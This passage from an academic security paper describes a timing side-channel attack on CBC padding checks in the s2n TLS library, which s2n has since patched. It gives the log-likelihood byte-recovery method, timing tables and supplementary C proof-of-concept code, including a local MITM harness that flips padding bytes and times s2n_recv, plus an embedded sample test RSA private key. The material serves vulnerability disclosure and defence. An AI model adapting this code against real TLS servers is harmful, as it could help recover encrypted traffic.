(standard) way. We assume that in a characterisation step, we have obtained, for possible
value x of the last byte in block P5, a histogram of the timing distribution modulo 1µs for
ciphertexts Catt(∆) of the form used in the attack. We assume these timings are distributed
into B equal-sized bins, and so the empirical probability of each bin px,b for 0 ≤ b < B can
be calculated. (In fact, since we expect that timing behaviours for the classes H and L are
similar, it is sufficient to sample for two values x, one from each class.)
Now, in the actual attack, for each value δ of the last byte of ∆, we obtain N samples
for ciphertexts Catt(∆) for which the timing delay is at most 100,000µs. This then requires
a total of about 256 · 100 · N TLS sessions. We bin these into B bins as above, letting nδ,b
denote the number of values in bin b for last byte value δ. Now for each candidate value y for
the last byte of P ∗, we compute the log likelihood for the candidate, using the formula:
LL(y) =
∑
δ∈{0x00,...,0xFF}
nδ,b · log(pδ⊕y,b) .
We then output as the preferred candidate for the last plaintext byte the value y∗ having the
highest value of LL(y) amongst all candidates.
We omit the detailed analysis of the performance of this attack, pausing only to note that
it will require more samples than the distinguishing attack because the underlying statistical
problem is to now separate one correct candidate from 255 wrong candidates, and this is more
demanding than the basic distinguishing problem.
To wrap up, we note that nanosleep, which is now used in s2n to add a random time
delay, has a granularity of nanoseconds, does not show this behaviour, and therefore thwarts
the attacks described in this work.
Byte value Cycles Byte value Cycles Byte value Cycles
0x00 2251.96 0x05 1746.49 . . . . . .
0x01 2354.57 0x06 1747.65 0xfc 1640.79
0x02 2252.07 0x07 1705.62 0xfd 1634.61
0x03 2135.11 0x08 1808.73 0xfe 1648.70
0x04 2130.02 0x09 1806.50 0xff 1634.64
Table 3. Timing of function s2n verify cbc (in cycles) with H = SHA-256 for different values of last byte in
the decrypted buffer, each cycle count averaged over 28 trials.
Byte value Cycles Byte value Cycles Byte value Cycles
0x00 1333.99 0x05 1095.01 . . . . . .
0x01 1174.29 0x06 1092.68 0xfc 1062.37
0x02 1178.52 0x07 1065.08 0xfd 1035.48
0x03 1156.56 0x08 1102.31 0xfe 1035.15
0x04 1140.14 0x09 1101.04 0xff 1036.02
Table 4. Timing of function s2n verify cbc (in cycles) with H = SHA-1 for different values of last byte in
the decrypted buffer, each cycle count averaged over 210 trials.
5 Proof of Concept
We confirmed that s2n does indeed behave as expected using the following two experiments.
For the first experiment, we setup a s2n_blob buffer of length 93 and filled it with random
data. Then, we assigned all possible padding length values 0x00 to 0xff by overwriting the
last byte of the buffer and timed how long the function s2n_verify_cbc took to return. As
expected, the padding length values between 0x00 and 0x04 resulted in timings about 500–550
cycles longer than all other values. The timing difference was clear and stable. Some sample
data is shown in Tables 3 and 4. We note that at present we cannot explain the variation
within the second and third columns of those tables.
For the second experiment, we ran the attack against the actual s2n implementation
instead of running a synthetic benchmark. That is, we timed the execution of s2n_recv
under the attack described in Section 3. However, to speed up execution we patched s2n to
only sample random delays up to 10,000µs. As highlighted in Table 5, this, too, shows marked
non-uniform timing behaviour modulo 1µs.
We did not adjust our proof-of-concept code to realise a full plaintext recovery attack,
because (a) s2n has since been patched in response to this work and because (b) the cost
is somewhat dependent on the target machine and operating system. We note, though, that
an attack can establish the characteristics of a target machine by establishing genuine TLS
sessions (where, hence, padding bytes are known) but with some random bits flipped.
The complete source codes for our experiments (which borrow heavily from the s2n test
suite) are available at https://bitbucket.org/malb/research-snippets.
6 Discussion
Our attack successfully overcomes both levels of defence against timing attacks that were
instituted in s2n, the first level being the inclusion of extra cryptographic operations in an
0x00 0x01 0x02 0x03 0x04 0x05 0x0a 0x10 0x20
0x00 .0 .4 .2 .1 .4 1.7 1.6 1.9 2.2
0x01 .4 .0 .4 .3 .3 2.6 2.6 2.8 3.2
0x02 .2 .4 .0 .1 .2 2.3 2.2 2.6 2.8
0x03 .1 .3 .1 .0 .3 2.1 1.9 2.3 2.7
0x04 .4 .3 .2 .3 .0 2.6 2.6 2.9 3.2
0x05 1.7 2.6 2.3 2.1 2.6 .0 .1 .2 .3
0x0a 1.6 2.6 2.2 1.9 2.6 .1 .0 .2 .3
0x10 1.9 2.8 2.6 2.3 2.9 .2 .2 .0 .2
0x20 2.2 3.2 2.8 2.7 3.2 .3 .3 .2 .0
Table 5. KL divergence observed the full attack against actual s2n implementation (scaled by 105 for read-
ability) using 224 samples on Intel(R) Xeon(R) CPU E5-2667 v2 @ 3.30GHz.
attempt to equalise the code’s running time and the second level being the use of a random
wait interval in the event of an error such as a MAC failure.
Fundamentally, the first level could be bypassed because s2n counted bytes going into
s2n_hmac_update instead of computing the number of compression function calls that need to
be performed as suggested in [AP13]. A call to s2n_hmac_update in itself will not necessarily
trigger a compression function call if insufficient data for such a call is provided. A call to
s2n_hmac_digest, however, will pad the data and trigger several compression function calls,
the number also depending on the data already submitted at the time of the call. We note
that in OpenSSL this issue is avoided by effectively re-implementing HMAC in the function
ssl3_cbc_digest_record, i.e. by performing lower-level cryptographic operations within the
protocol layer. In contrast, s2n is specifically aimed at separating those layers. In response
to this work, s2n now sensibly counts the number of compression function calls performed,
somewhat maintaining this separation.
The second level could be bypassed because, while the randomised wait periods were large,
they were not sufficiently random to completely mask the timing signal remaining from the
first step of our attack. Note that the analysis in [AP13] of the effectiveness of random delays
in preventing the Lucky 13 attack assumed the delays were uniformly distributed; under this
assumption, their analysis shows that the count measure is not effective unless the maximum
delay is rather large. What the second step of our attack shows is that, even if the maximum
delay is very large, non-uniformity in the distribution of the delay can be exploited. In short,
it is vital to carefully study any source of timing delay to ensure it is of an appropriate quality
when using it for this kind of protection.
Our experiments indicate that the distribution of nanonsleep as implemented on Linux
is sufficiently close to uniform to thwart the attack described in this work. We note, however,
that this puts a high security burden on this function which is not designed for this purpose.
In particular, nanosleep(2) states (emphasis added): “nanosleep() suspends the execution of
the calling thread until either at least the time specified in *req has elapsed, or the delivery
of a signal that triggers the invocation of a handler in the calling thread or that terminates
the process.”
Finally, since randomised waiting can also have a significant performance impact, this
work further highlights that MAC-then-Encrypt constructions such as MEE-TLS should be
avoided where possible.
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Supplementary Material
#include "s2n/api/s2n.h"
#include "s2n/tls/s2n_record.h"
#include "s2n/utils/s2n_random.h"
#define TRIALS (1UL <<10)
#include <string.h>
#include <sys/time.h>
#include <unistd.h>
inline static uint64_t rdtsc (){
unsigned int bot , top;
__asm__ __volatile__ ("rdtsc" : "=a" (bot), "=d" (top));
return (( uint64_t) top << 32) | bot;
}
int main(int argc , char *argv []) {
struct s2n_connection *conn;
uint8_t mac_key [] = "sample mac key";
if (argc != 3){
fprintf(stderr , "Please provide number of bytes and either ’sha1 ’, ’sha256 ’ or ’md5 ’.\n");
exit (-1);
}
const long length = atol(argv [1]);
s2n_hmac_algorithm mac_alg;
if (strcmp(argv[2],"sha1")==0)
mac_alg = S2N_HMAC_SHA1;
else if (strcmp(argv[2],"sha256")==0)
mac_alg = S2N_HMAC_SHA256;
else if (strcmp(argv[2],"md5")==0)
mac_alg = S2N_HMAC_MD5;
else {
fprintf(stderr , "Please either ’sha1 ’, ’sha256 ’ or ’md5 ’, as second parameter .\n");
exit (-1);
}
uint8_t random_data[length ];
struct s2n_hmac_state check_mac;
uint64_t times [256];
s2n_init ();
conn = s2n_connection_new(S2N_SERVER );
conn ->actual_protocol_version = S2N_TLS12;
struct s2n_blob decrypted = { .data = random_data , .size = sizeof(random_data) };
s2n_get_urandom_data (& decrypted );
for(uint16_t padding_length = 0; padding_length <256; padding_length ++) {
times[padding_length] = 0;
}
for(uint32_t i=0; i<TRIALS; i++) {
for(uint16_t padding_length = 0; padding_length <256; padding_length ++) {
s2n_hmac_init (&check_mac , mac_alg , mac_key , sizeof(mac_key ));
decrypted.data[decrypted.size -1] = (uint8_t)padding_length;
#if 1
uint64_t t = rdtsc ();
s2n_verify_cbc(conn , &check_mac , &decrypted );
#else
/* hard code the relevant steps to confirm where time difference comes from */
uint8_t padding_length = decrypted.data[decrypted.size - 1];
int payload_and_padding_size = decrypted.size - 32;
int payload_length = payload_and_padding_size - padding_length - 1;
if (payload_length < 0) {
payload_length = 0;
}
/* Update the MAC */
struct s2n_hmac_state copy;
s2n_hmac_update (&check_mac , decrypted.data , payload_length );
s2n_hmac_copy (&copy , &check_mac );
/* Check the MAC */
uint8_t check_digest[S2N_MAX_DIGEST_LEN ];
s2n_hmac_digest (&check_mac , check_digest , 32);
uint64_t t = rdtsc ();
s2n_hmac_update (&copy , decrypted.data + payload_length + 32,
decrypted.size - payload_length - 32 - 1);
#endif
times[padding_length] += rdtsc() - t;
s2n_hmac_reset (& check_mac );
}
}
double min = 1000000000000.0;
double max = 0;
for(uint16_t padding_length = 0; padding_length <256; padding_length ++) {
if (times[padding_length ]/( double)TRIALS > max)
max = times[padding_length ]/( double)TRIALS;
else if (times[padding_length ]/( double)TRIALS < min)
min = times[padding_length ]/( double)TRIALS;
}
printf("min: %f, max: %f\n",min ,max);
for(uint16_t padding_length = 0; padding_length <256; padding_length ++) {
printf("padding_length: 0x%02x, time: %8.2f\n",
padding_length , times[padding_length ]/( double)TRIALS );
}
s2n_connection_free(conn);
s2n_cleanup ();
return 0;
}
/**
How to run:
$time taskset -c 0-15 parallel --gnu -j 500 --delay 0.1 \
./s2n -time -random -delay -p 100 -t 17 -d 10000 -n ::: ‘seq -w 0 2047‘
- ‘time ‘ overall time
- ‘tastset -c 0-15‘ to restrict to 16 cores
- ‘parallel --gnu -j 500 --delay 0.1‘ run 500 experiments in parallel ,
start then with a delay of 0.1 seconds
of each other
- ‘./s2n -time -random -delay -p 100 -t 17 -d 10000 -n‘ run for padding_length 100,
run 2^17 trials , max delay 10000,
with prefix -n
- ‘::: ‘seq -w 0 2047‘‘ run 2048 experiments
*/
#include "s2n/api/s2n.h"
#include "s2n/tls/s2n_record.h"
#include "s2n/utils/s2n_random.h"
#define DEFAULT_NTRIALS (20)
#define DEFAULT_PADDING_LENGTH 0x00
#define DEFAULT_DELAY 1000
#define DEFAULT_POSTIFX "00"
#define DEFAULT_MOD 3300
#include <math.h>
#include <string.h>
#include <sys/time.h>
#include <unistd.h>
#include <float.h>
static inline void print_help_and_exit(const char *name) {
printf("####################################################################\n");
printf(" %s\n",name);
printf("####################################################################\n");
printf("-t log of the number of trials to do > 1 (default: %d)\n", DEFAULT_NTRIALS );
printf("-p padding value to test (default: 0x%02x)\n", DEFAULT_PADDING_LENGTH );
printf("-d maximum delay added (default: %d)", DEFAULT_DELAY );
printf("-m mod (default: %d)", DEFAULT_MOD );
printf("-n filename postfix (default: \"00\")");
abort ();
}
struct _cmdline_params_struct{
int32_t ntrials;
uint8_t padding_length;
uint32_t delay;
uint32_t mod;
const char *postfix;
};
typedef struct _cmdline_params_struct cmdline_params_t [1];
static inline void parse_cmdline(cmdline_params_t params , int argc ,
char *argv[], const char *name) {
params ->ntrials = DEFAULT_NTRIALS;
params ->padding_length = DEFAULT_PADDING_LENGTH;
params ->delay = DEFAULT_DELAY;
params ->postfix = DEFAULT_POSTIFX;
params ->mod = DEFAULT_MOD;
int c;
while ((c = getopt(argc , argv , "t:p:d:n:m:")) != -1) {
switch(c) {
case ’p’:
params ->padding_length = (uint8_t)atoi(optarg );
break;
case ’t’:
params ->ntrials = atoi(optarg );
break;
case ’d’:
params ->delay = atoi(optarg );
break;
case ’n’:
params ->postfix = optarg;
break;
case ’m’:
params ->mod = atoi(optarg );
break;
case ’:’: /* without operand */
print_help_and_exit(name);
case ’?’:
print_help_and_exit(name);
}
}
if (params ->ntrials <1)
print_help_and_exit(name);
}
static inline uint64_t rdtsc (){
unsigned int bot , top;
__asm__ __volatile__ ("rdtsc" : "=a" (bot), "=d" (top));
return (( uint64_t) top << 32) | bot;
}
static inline void print_progress(int32_t count , int32_t total ,
double acc_vrfy , double acc_wipe ,
double acc_rand , double acc_slep ,
double acc_uslp ,
int32_t acc_count) {
printf("\rdone: %6.2f%%, log(# samples ): %6.2f, _ v r f y : %8.3f, _ w i p e : %8.3f, _ r a n d : %8.3f, _ s l e p : %8.3f, _ u s l e p : %8.3f",
100*(( double)count )/(( double)total),
log2(count),
acc_vrfy/acc_count , acc_wipe/acc_count , acc_rand/acc_count ,
acc_slep/acc_count , acc_uslp/acc_count );
fflush (0);
}
int main(int argc , char *argv []) {
s2n_init ();
const uint8_t mac_key [] = "sample mac key";
cmdline_params_t params;
parse_cmdline(params , argc , argv , "Random Delay Test");
printf("padding length: 0x%02x, #trials: 1<<%d, max delay: %d, mod %d, postfix: %s\n",
params ->padding_length , params ->ntrials , params ->delay , params ->mod , params ->postfix );
/* We are hardcoding SHA -256 here */
const long length = 80+13;
const s2n_hmac_algorithm mac_alg = S2N_HMAC_SHA256;
uint8_t random_data[length ];
struct s2n_hmac_state check_mac;
struct s2n_connection *conn = s2n_connection_new(S2N_SERVER );
conn ->actual_protocol_version = S2N_TLS12;
struct s2n_blob decrypted = { .data = random_data , .size = sizeof(random_data) };
s2n_get_urandom_data (& decrypted );
char fn [256];
snprintf(fn, 256, "0x%02x-%d-%d-%d-%s.txt",
params ->padding_length , params ->ntrials , params ->delay , params ->mod , params ->postfix );
FILE *fh = fopen(fn,"w");
double acc_vrfy = 0;
double acc_wipe = 0;
double acc_rand = 0;
double acc_slep = 0;
double acc_uslp = 0;
int32_t acc_count = 0;
const uint64_t ntrials = (1ULL)<<params ->ntrials;
for(size_t i=0; i<ntrials; i++) {
s2n_hmac_init (&check_mac , mac_alg , mac_key , sizeof(mac_key ));
decrypted.data[decrypted.size -1] = params ->padding_length;
if(i%((1 ULL)<<10) == 0)
print_progress(i+1, ntrials , acc_vrfy , acc_wipe , acc_rand , acc_slep , acc_uslp , acc_count );
const uint64_t t_start = rdtsc ();
s2n_verify_cbc(conn , &check_mac , &decrypted );
const uint64_t t0 = rdtsc ();
s2n_stuffer_wipe (&conn ->in);
const uint64_t t1 = rdtsc ();
/* int delay = s2n_public_random (1000 + 10000000); */
int delay = s2n_public_random(params ->delay);
const uint64_t t2 = rdtsc ();
sleep(delay / 1000000);
const uint64_t t3 = rdtsc ();
usleep(delay % 1000000);
const uint64_t t4 = rdtsc ();
const uint64_t t_vrfy = t0 - t_start;
const uint64_t t_wipe = t1 - t_start;
const uint64_t t_rand = t2 - t_start;
const uint64_t t_slep = t3 - t_start;
const uint64_t t_uslp = t4 - t_start;
const uint64_t t_totl = t_uslp;
if (t_totl < (params ->delay * params ->mod )/2) {
acc_vrfy += (t_vrfy % params ->mod);
acc_wipe += (t_wipe % params ->mod);
acc_rand += (t_rand % params ->mod);
acc_slep += (t_slep % params ->mod);
acc_uslp += (t_uslp % params ->mod);
acc_count += 1;
}
fprintf(fh, "%lu %lu %lu %lu %lu %lu %lu\n",
t_totl , t_vrfy , t_wipe , t_rand , t_slep , t_uslp , t_totl % params ->mod);
s2n_hmac_reset (& check_mac );
}
print_progress(ntrials , ntrials , acc_vrfy , acc_wipe , acc_rand , acc_slep , acc_uslp , acc_count );
printf("\n");
fprintf(fh, "\n");
fclose(fh);
s2n_connection_free(conn);
s2n_cleanup ();
return 0;
}
/**
based off s2n_self_talk_test.c
*/
#include <assert.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <math.h>
#include <zlib.h>
#include "s2n/api/s2n.h"
#include "s2n/tls/s2n_connection.h"
#include "s2n/tls/s2n_handshake.h"
#include "s2n/tls/s2n_config.h"
#include "s2n/crypto/s2n_cipher.h"
#include "s2n/tls/s2n_cipher_suites.h"
#define DEFAULT_NTRIALS 15
#define DEFAULT_POSTIFX "00"
#define DEFAULT_MOD 3300
#define DEFAULT_DIR "."
#define DEFAULT_BLIND 0
#define DEFAULT_JOBS 1
// HACK this must match s2n source
#define S2N_MAX_DELAY 10000
static inline void print_help_and_exit(const char *name) {
printf("####################################################################\n");
printf(" %s\n",name);
printf("####################################################################\n");
printf("-t log of the number of trials to do > 1 (default: %d)\n", DEFAULT_NTRIALS );
printf("-m mod (default: %d)\n", DEFAULT_MOD );
printf("-b enable blinding (optional )\n");
printf("-d output directory (default: \"%s\")\n", DEFAULT_DIR );
printf("-j number of parallel jobs (default: \"%d\")\n", DEFAULT_JOBS );
abort ();
}
struct _cmdline_params_struct{
int32_t ntrials;
uint32_t mod;
int8_t blind;
uint16_t jobs;
const char *directory;
};
typedef struct _cmdline_params_struct cmdline_params_t [1];
static inline void parse_cmdline(cmdline_params_t params ,
int argc , char *argv[], const char *name) {
params ->ntrials = DEFAULT_NTRIALS;
params ->mod = DEFAULT_MOD;
params ->directory = DEFAULT_DIR;
params ->blind = DEFAULT_BLIND;
params ->jobs = DEFAULT_JOBS;
int c;
while ((c = getopt(argc , argv , "t:m:d:bj:")) != -1) {
switch(c) {
case ’t’:
params ->ntrials = atoi(optarg );
break;
case ’j’:
params ->jobs = atoi(optarg );
break;
case ’d’:
params ->directory = optarg;
break;
case ’m’:
params ->mod = atoi(optarg );
break;
case ’b’:
params ->blind = 1;
break;
case ’:’: /* without operand */
print_help_and_exit(name);
case ’?’:
print_help_and_exit(name);
}
}
if (params ->ntrials <1)
print_help_and_exit(name);
}static inline uint64_t rdtsc (){
unsigned int bot , top;
__asm__ __volatile__ ("rdtsc" : "=a" (bot), "=d" (top));
return (( uint64_t) top << 32) | bot;
}
static char certificate [] =
"-----BEGIN CERTIFICATE -----\n"
"MIIDLjCCAhYCCQDL1lr6N8/gvzANBgkqhkiG9w0BAQUFADBZMQswCQYDVQQGEwJB\n"
"VTETMBEGA1UECBMKU29tZS1TdGF0ZTEhMB8GA1UEChMYSW50ZXJuZXQgV2lkZ2l0\n"
"cyBQdHkgTHRkMRIwEAYDVQQDEwlsb2NhbGhvc3QwHhcNMTQwNTEwMTcwODIzWhcN\n"
"MjQwNTA3MTcwODIzWjBZMQswCQYDVQQGEwJBVTETMBEGA1UECBMKU29tZS1TdGF0\n"
"ZTEhMB8GA1UEChMYSW50ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMRIwEAYDVQQDEwls\n"
"b2NhbGhvc3QwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDIltaUmHg +\n"
"G7Ida2XCtEQx1YeWDX41U2zBKbY0lT+auXf81cT3dYTdfJblb+v4CTWaGNofogcz\n"
"ebm8B2/OF9F+WWkKAJhKsTPAE7/SNAdi4Eqv4FfNbWKkGb4xacxxb4PH2XP9V3Ch\n"
"J6lMSI3V68FmEf4kcEN14V8vufIC5HE/LT4gCPDJ4UfUUbAgEhSebT6r/KFYB5T3\n"
"AeDc1VdnaaRblrP6KwM45vTs0Ii09/YrlzBxaTPMjLGCKa8JMv8PW2R0U9WCqHmz\n"
"BH+W3Q9xPrfhCInm4JWob8WgM1NuiYuzFB0CNaQcdMS7h0aZEAVnayhQ96/Padpj\n"
"KNE0Lur9nUxbAgMBAAEwDQYJKoZIhvcNAQEFBQADggEBAGRV71uRt /1 dADsMD9fg\n"
"JvzW89jFAN87hXCRhTWxfXhYMzknxJ5WMb2JAlaMc/gTpiDiQBkbvB+iJe5AepgQ\n"
"WbyxPJNtSlA9GfKBz1INR5cFsOL27VrBoMYHMaolveeslc1AW2HfBtXWXeWSEF7F\n"
"QNgye8ZDPNzeSWSI0VyK2762wsTgTuUhHAaJ45660eX57+e8IvaM7xOEfBPDKYtU\n"
"0a28ZuhvSr2akJtGCwcs2J6rs6I+rV84UktDxFC9LUezBo8D9FkMPLoPKKNH1dXR\n"
"6LO8GOkqWUrhPIEmfy9KYes3q2ZX6svk4rwBtommHRv30kPxnnU1YXt52Ri+XczO\n"
"wEs=\n"
"-----END CERTIFICATE -----\n";
static char private_key [] =
"-----BEGIN RSA PRIVATE KEY -----\n"
"MIIEpAIBAAKCAQEAyJbWlJh4PhuyHWtlwrREMdWHlg1+NVNswSm2NJU/mrl3/NXE\n"
"93 WE3XyW5W/r+Ak1mhjaH6IHM3m5vAdvzhfRfllpCgCYSrEzwBO /0 jQHYuBKr+BX\n"
"zW1ipBm+MWnMcW+Dx9lz/VdwoSepTEiN1evBZhH+JHBDdeFfL7nyAuRxPy0+IAjw\n"
"yeFH1FGwIBIUnm0+q/yhWAeU9wHg3NVXZ2mkW5az+isDOOb07NCItPf2K5cwcWkz\n"
"zIyxgimvCTL/D1tkdFPVgqh5swR/lt0PcT634QiJ5uCVqG/FoDNTbomLsxQdAjWk\n"
"HHTEu4dGmRAFZ2soUPevz2naYyjRNC7q/Z1MWwIDAQABAoIBAHrkryLrJwAmR8Hu\n"
"grH/b6h4glFUgvZ43jCaNZ+RsR5Cc1jcP4i832Izat +26 oNUYRrADyNCSdcnxLuG\n"
"cuF5hkg6zzfplWRtnJ8ZenR2m +/ gKuIGOMULN1wCyZvMjg0RnVNbzsxwPfj+K6Mo\n"
"8H0Xq621aFc60JnwMjkzWyqaeyeQogn1pqybuL6Dm2huvN49LR64uHuDUStTRX33\n"
"ou1fVWXOJ1kealYPbRPj8pDa31omB8q5Cf8Qe/b9anqyi9CsP17QbVg9k2IgoLlj\n"
"agqOc0u/opOTZB4tqJbqsIdEhc5LD5RUkYJsw00Iq0RSiKTfiWSPyOFw99Y9Act0\n"
"cbIIxEECgYEA8/SOsQjoUX1ipRvPbfO3suV1tU1hLCQbIpv7WpjNr1kHtngjzQMP\n"
"dU/iriUPGF1H+AxJJcJQfCVThV1AwFYVKb/LCrjaxlneZSbwfehpjo+xQGaNYG7Q\n"
"1vQuBVejuYk/IvpZltQOdm838DjvYyWDMh4dcMFIycXxEg+oHxf/s+8 CgYEA0n4p\n"
"GBuLUNx9vv3e84BcarLaOF7wY7tb8z2oC/mXztMZpKjovTH0PvePgI5/b3KQ52R0\n"
"8zXHVX/4 lSQVtCuhOVwKOCQq97/Zhlp5oTTShdQ0Qa1GQRl5wbTS6hrYEWSi9AQP\n"
"BVUPZ+RIcxx00DfBNURkId8xEpvCOmvySN8sUlUCgYAtXmHbEqkB3qulwRJGhHi5\n"
"UGsfmJBlwSE6wn9wTdKStZ /1 k0o1KkiJrJ2ffUzdXxuvSbmgyA5nyBlMSBdurZOp\n"
"+/0 qtU4abUQq058OC1b2KEryix/nuzQjha25WJ8eNiQDwUNABZfa9rwUdMIwUh2g\n"
"CHG5Mnjy7Vjz3u2JOtFXCQKBgQCVRo1EIHyLauLuaMINM9HWhWJGqeWXBM8v0GD1\n"
"pRsovQKpiHQNgHizkwM861GqqrfisZZSyKfFlcynkACoVmyu7fv9VoD2VCMiqdUq\n"
"IvjNmfE5RnXVQwja +668AS+MHi+GF77DTFBxoC5VHDAnXfLyIL9WWh9GEBoNLnKT\n"
"hVm8RQKBgQCB9Skzdftc +14 a4Vj3NCgdHZHz9mcdPhzJXUiQyZ3tYhaytX9E8mWq\n"
"pm/OFqahbxw6EQd86mgANBMKayD6B1Id1INqtXN1XYI50bSs1D2nOGsBM7MK9aWD\n"
"JXlJ2hwsIc4q9En/LR3GtBaL84xTHGfznNylNhXi7GbO1wNMJuAukA ==\n"
"-----END RSA PRIVATE KEY -----\n";
#define S2N_ATTACK_HANDSHAKE_LENGTH 452
#define S2N_ATTACK_DIGEST_LENGTH 32
#define S2N_ATTACK_PACKET_LENGTH 96
#define S2N_ATTACK_BLOCK_SIZE 16
#define S2N_ATTACK_PAYLOAD_LENGTH \
(S2N_ATTACK_PACKET_LENGTH -\
S2N_ATTACK_BLOCK_SIZE -\
S2N_ATTACK_DIGEST_LENGTH - 1)
void client(int writefd , int readfd) {
char buffer[S2N_ATTACK_PAYLOAD_LENGTH ];
struct s2n_connection *conn;
int more;
/* printf (" Client: up and running .\n"); */
/* Give the server a chance to listen */
usleep (1);
conn = s2n_connection_new(S2N_CLIENT );
s2n_connection_set_write_fd(conn , writefd );
s2n_connection_set_read_fd(conn , readfd );
s2n_negotiate(conn , &more);
s2n_send(conn , buffer , S2N_ATTACK_PAYLOAD_LENGTH , &more);
s2n_shutdown(conn , &more);
s2n_connection_free(conn);
close(writefd );
close(readfd );
_exit (0);
}
/**
@brief MITM Proxy
- The key exchange takes 251 bytes of data from the client to the server
@param writefd
@param readfd
@return
*/
void mitm(const int writefd , const int readfd , const int triggerfd ,
const uint8_t padding_mask) {
uint8_t *buffer = (uint8_t *) malloc(S2N_ATTACK_PACKET_LENGTH +5);
/* printf ("MITM: up and running .\n"); */
uint64_t count = 0;
/* skip the handhshake */
while(count < S2N_ATTACK_HANDSHAKE_LENGTH) {
int t = read(readfd , buffer , 1);
if (t>0){
write(writefd , buffer , t);
count += t;
}
}
int64_t offset = 0;
int64_t expecting = S2N_ATTACK_PACKET_LENGTH +5;
while(expecting) {
int t = read(readfd , buffer+offset , expecting );
if (t>0){
offset += t;
expecting -= t;
}
}
assert(buffer [0]==0 x17);
assert(buffer [1]==0 x03);
assert(buffer [2]==0 x03);
assert(buffer [3]==0 x00);
assert(buffer [4]== S2N_ATTACK_PACKET_LENGTH );
/* modify and forward */
if(padding_mask != 0)
buffer[offset -S2N_ATTACK_BLOCK_SIZE -1] ^= padding_mask;
else
buffer[offset -S2N_ATTACK_BLOCK_SIZE -2] ^= 0x01; // flip something else
write(writefd , buffer , offset );
usleep (100);
write(triggerfd , buffer , 1);
free(buffer );
close(writefd );
close(readfd );
close(triggerfd );
_exit (0);
}
int server(const int writefd , const int readfd , const int triggerfd ,
struct s2n_config *config , const int8_t blind) {
struct s2n_connection *conn;
int status;
conn = s2n_connection_new(S2N_SERVER );
s2n_connection_set_config(conn , config );
/* Set up the connection to read from the fd */
s2n_connection_set_write_fd(conn , writefd );
s2n_connection_set_read_fd(conn , readfd );
if (blind == 0){
s2n_connection_set_blinding(conn , S2N_SELF_SERVICE_BLINDING );
}
/* printf (" Server: up and running .\n"); */
/* Negotiate the handshake. */
s2n_negotiate(conn , &status );
char buffer[S2N_ATTACK_PAYLOAD_LENGTH ];
read(triggerfd , buffer , 1);
/* size_t j=0; */
/* for(size_t i=0; i<1ULL <<16; i++) */
/* j++; */
uint64_t t = rdtsc ();
int bytes_read = s2n_recv(conn , buffer , S2N_ATTACK_PAYLOAD_LENGTH , &status );
t = rdtsc()-t;
assert(bytes_read == -1);
s2n_shutdown(conn , &status );
s2n_connection_free(conn);
usleep (100);
close(writefd );
close(readfd );
close(triggerfd );
return t;
}
uint64_t run_attack(struct s2n_config *config , const uint8_t padding_mask ,
const int8_t blind) {
int status;
int server_to_client [2];
int client_to_mitm [2];
int mitm_to_server [2];
int timing_trigger [2];
pipe(server_to_client );
pipe(client_to_mitm );
pipe(mitm_to_server );
pipe(timing_trigger );
/* Create a child MITM process */
pid_t pid_mitm = fork ();
if (pid_mitm == 0) {
close(client_to_mitm [1]);
close(mitm_to_server [0]);
close(server_to_client [1]);
close(server_to_client [0]);
close(timing_trigger [0]);
mitm(mitm_to_server [1], client_to_mitm [0], timing_trigger [1], padding_mask );
}
/* Create a child client process */
pid_t pid_client = fork ();
if (pid_client == 0) {
close(server_to_client [1]);
close(client_to_mitm [0]);
close(mitm_to_server [1]);
close(mitm_to_server [0]);
close(timing_trigger [1]);
close(timing_trigger [0]);
client(client_to_mitm [1], server_to_client [0]);
}
/* this is the server */
close(mitm_to_server [1]);
close(server_to_client [0]);
close(client_to_mitm [1]);
close(client_to_mitm [0]);
close(timing_trigger [1]);
uint64_t r = server(server_to_client [1],
mitm_to_server [0],
timing_trigger [0],
config , blind);
/* Clean up */
waitpid(-1, &status , 0);
waitpid(-1, &status , 0);
return r;
}
void print_counter(uint64_t *counter , size_t length , size_t total , size_t bins) {
const uint64_t block = length/bins;
printf("[ ");
for (size_t i=0; i<bins; i++) {
uint64_t acc = 0;
size_t end = (i*block+block < length) ? (i*block+block) : length;
for(size_t j=i*block; j<end; j++) {
acc += counter[j];
}
printf("%4.1f ", (100* acc/( double)total ));
}
printf("]");
}
double iterate_attack(const cmdline_params_t params , struct s2n_config *config ,
const uint8_t padding_mask , const uint16_t worker_id) {
double acc = 0;
uint64_t t_min = UINT64_MAX;
uint64_t counter[params ->mod];
for(size_t i=0; i<params ->mod; i++)
counter[i] = 0;
assert(params ->ntrials < 100);
assert(params ->mod < 10000);
const size_t basename_length = strlen("s2n -full -99-0xff -9999 -. txt.gz");
char *fn = malloc(strlen(params ->directory) + 1 + // ’/’
basename_length + 5 + 1); // len(str (2^16))
char *tt = fn;
tt += snprintf(tt , strlen(params ->directory )+1, "%s", params ->directory );
tt += snprintf(tt , 1+1, "/");
tt += snprintf(tt , basename_length + 5 + 1,
"s2n -full -%d-0x%02x-%d-%05d.txt.gz",
params ->ntrials , padding_mask , params ->mod , worker_id );
gzFile fh = gzopen(fn,"w");
if (fh == Z_NULL)
abort ();
const uint64_t tmax = (params ->blind) ?\
(params ->mod*S2N_MAX_DELAY) : (params ->mod * 100);
size_t j = 0;
const size_t m = ((1 ULL)<<params ->ntrials )/params ->jobs;
for(size_t i=0; i<m; i++) {
uint64_t t = tmax + 1;
while (t > tmax){
t = run_attack(config , padding_mask , params ->blind );
j ++;
}
gzprintf(fh, "%lu %lu\n", t, t % params ->mod);
counter[t%params ->mod ]++;
acc += (t%params ->mod);
if (t < t_min)
t_min = t;
if (worker_id == 0 && i && (i%(1<<10) == 0)) {
printf("\r0x%02x, log(i): %5.2f, log(j): %5.2f, min: %10ld, %%%d: %9.3f ",
padding_mask , log2(i), log2(j), t_min , params ->mod , fmod((acc/(i+1)), params ->mod ));
print_counter(counter , params ->mod , i+1, 10);
fflush (0);
}
}
gzclose(fh);
if (worker_id == 0) {
printf("\r0x%02x, log(i): %5.2f, log(j): %5.2f, min: %10ld, %%%d: %9.3f ", padding_mask ,
(double)log2(m), log2(j), t_min , params ->mod , fmod(acc/m, params ->mod));
print_counter(counter , params ->mod , m, 10);
printf("\n");
fflush (0);
}
free(fn);
return acc/params ->ntrials;
}
int main(int argc , char **argv) {
setenv("S2N_ENABLE_CLIENT_MODE", "1", 0);
s2n_init ();
struct s2n_config *config = s2n_config_new ();
